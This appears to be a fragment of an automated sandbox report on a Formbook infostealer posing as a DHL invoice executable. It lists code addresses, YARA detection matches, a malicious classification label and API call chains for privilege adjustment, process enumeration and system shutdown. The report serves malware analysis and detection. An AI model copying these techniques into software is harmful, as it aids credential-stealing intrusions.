Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFCE93	2_2_03AFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFEEDB	2_2_03AFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFEE26	2_2_03AFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40E59	2_2_03A40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A58DBF	2_2_03A58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3ADE0	2_2_03A3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4AD00	2_2_03A4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADCD1F	2_2_03ADCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0CB5	2_2_03AE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30CF2	2_2_03A30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40C00	2_2_03A40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A8739A	2_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF132D	2_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D34C	2_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A452A0	2_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4B1B0	2_2_03A4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7516C	2_2_03A7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0B16B	2_2_03B0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF70E9	2_2_03AF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFF0E0	2_2_03AFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF0CC	2_2_03AEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFF7B0	2_2_03AFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF16CC	2_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADD5B0	2_2_03ADD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF7571	2_2_03AF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFF43F	2_2_03AFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A31460	2_2_03A31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5FB80	2_2_03A5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB5BF0	2_2_03AB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7DBF9	2_2_03A7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFB76	2_2_03AFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADDAAC	2_2_03ADDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A85AA0	2_2_03A85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE1AA3	2_2_03AE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEDAC6	2_2_03AEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB3A6C	2_2_03AB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFA49	2_2_03AFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF7A46	2_2_03AF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD5910	2_2_03AD5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A49950	2_2_03A49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B950	2_2_03A5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A438E0	2_2_03A438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAD800	2_2_03AAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFFB1	2_2_03AFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41F92	2_2_03A41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFF09	2_2_03AFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A49EB0	2_2_03A49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5FDC0	2_2_03A5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF7D73	2_2_03AF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A43D40	2_2_03A43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF1D5A	2_2_03AF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFCF2	2_2_03AFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB9C32	2_2_03AB9C32
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A84A61	4_2_02A84A61
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A84A57	4_2_02A84A57
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02AA5371	4_2_02AA5371
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A8D0E1	4_2_02A8D0E1
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A869E1	4_2_02A869E1
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A7EFA5	4_2_02A7EFA5
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A867B9	4_2_02A867B9
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A867C1	4_2_02A867C1
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04502446	5_2_04502446
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044F4420	5_2_044F4420
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044FE4F6	5_2_044FE4F6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04450535	5_2_04450535
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04510591	5_2_04510591
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0446C6E0	5_2_0446C6E0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04474750	5_2_04474750
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04450770	5_2_04450770
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0444C7C0	5_2_0444C7C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044E2000	5_2_044E2000
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044D8158	5_2_044D8158
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04440100	5_2_04440100
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044EA118	5_2_044EA118
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_045081CC	5_2_045081CC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_045101AA	5_2_045101AA
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044F0274	5_2_044F0274
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044D02C0	5_2_044D02C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450A352	5_2_0450A352
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0445E3F0	5_2_0445E3F0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_045103E6	5_2_045103E6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04450C00	5_2_04450C00
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04440CF2	5_2_04440CF2
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044F0CB5	5_2_044F0CB5
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0445AD00	5_2_0445AD00
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044ECD1F	5_2_044ECD1F
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0444ADE0	5_2_0444ADE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04468DBF	5_2_04468DBF
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04450E59	5_2_04450E59
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450EE26	5_2_0450EE26
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450EEDB	5_2_0450EEDB
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450CE93	5_2_0450CE93
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04462E90	5_2_04462E90
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044C4F40	5_2_044C4F40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04492F28	5_2_04492F28
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04470F30	5_2_04470F30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044F2F30	5_2_044F2F30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04442FC8	5_2_04442FC8
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0445CFE0	5_2_0445CFE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044CEFA0	5_2_044CEFA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04452840	5_2_04452840
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0445A840	5_2_0445A840
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0447E8F0	5_2_0447E8F0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044368B8	5_2_044368B8
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04466962	5_2_04466962
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044529A0	5_2_044529A0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0451A9A6	5_2_0451A9A6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0444EA80	5_2_0444EA80
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450AB40	5_2_0450AB40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04506BD7	5_2_04506BD7
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04441460	5_2_04441460
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450F43F	5_2_0450F43F
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04507571	5_2_04507571
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044ED5B0	5_2_044ED5B0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_045016CC	5_2_045016CC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450F7B0	5_2_0450F7B0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044FF0CC	5_2_044FF0CC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044570C0	5_2_044570C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450F0E0	5_2_0450F0E0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_045070E9	5_2_045070E9
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0448516C	5_2_0448516C
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0443F172	5_2_0443F172
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0451B16B	5_2_0451B16B
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0445B1B0	5_2_0445B1B0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0446B2C0	5_2_0446B2C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044F12ED	5_2_044F12ED
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044552A0	5_2_044552A0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0443D34C	5_2_0443D34C
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450132D	5_2_0450132D
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0449739A	5_2_0449739A
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044C9C32	5_2_044C9C32
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450FCF2	5_2_0450FCF2
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04453D40	5_2_04453D40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04501D5A	5_2_04501D5A
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04507D73	5_2_04507D73
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0446FDC0	5_2_0446FDC0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04459EB0	5_2_04459EB0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450FF09	5_2_0450FF09
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04451F92	5_2_04451F92
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450FFB1	5_2_0450FFB1
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044BD800	5_2_044BD800
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044538E0	5_2_044538E0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04459950	5_2_04459950
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0446B950	5_2_0446B950
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044E5910	5_2_044E5910
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04507A46	5_2_04507A46
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450FA49	5_2_0450FA49
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044C3A6C	5_2_044C3A6C
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044FDAC6	5_2_044FDAC6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044EDAAC	5_2_044EDAAC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04495AA0	5_2_04495AA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044F1AA3	5_2_044F1AA3
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0450FB76	5_2_0450FB76
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0448DBF9	5_2_0448DBF9
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044C5BF0	5_2_044C5BF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0446FB80	5_2_0446FB80
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00131A50	5_2_00131A50
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0012C998	5_2_0012C998
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0012C9A0	5_2_0012C9A0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0012CBC0	5_2_0012CBC0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0012AC36	5_2_0012AC36
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0012AC40	5_2_0012AC40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_001350D0	5_2_001350D0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00125184	5_2_00125184
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_001332C0	5_2_001332C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0014B550	5_2_0014B550
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00CDE324	5_2_00CDE324
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00CDE443	5_2_00CDE443
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00CDE5AF	5_2_00CDE5AF
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00CDE7DD	5_2_00CDE7DD
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00CDD848	5_2_00CDD848
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00CDCAF8	5_2_00CDCAF8

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: String function: 00445975 appears 65 times
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: String function: 0041171A appears 37 times
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: String function: 0041718C appears 45 times
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: String function: 0040E6D0 appears 35 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03AAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A2B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A87E54 appears 102 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03ABF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A75130 appears 58 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 044BEA12 appears 86 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 044CF290 appears 105 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 04485130 appears 58 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 04497E54 appears 102 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 0443B970 appears 280 times

Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe, 00000000.00000003.2083334250.000000000481D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe
Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe, 00000000.00000003.2089392638.0000000004673000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3922241785.0000000000120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3924811899.00000000050E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3923277416.0000000000BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2399645826.0000000005CA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2398476195.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3923173605.00000000006E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3923233381.0000000002880000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2399183126.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@12/7

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0044AF5C GetLastError,FormatMessageW,

0_2_0044AF5C

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464422
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004364AA

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D517

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,

0_2_0043701F

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,

0_2_0047A999

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043614F

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

File created: C:\Users\user\AppData\Local\Temp\croc

Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: openfiles.exe, 00000005.00000003.2591075059.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3922477816.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3922477816.00000000005FC000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000003.2591199291.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000003.2593784899.00000000005D8000.00000004.00000020.00020000.00000000.sdmp

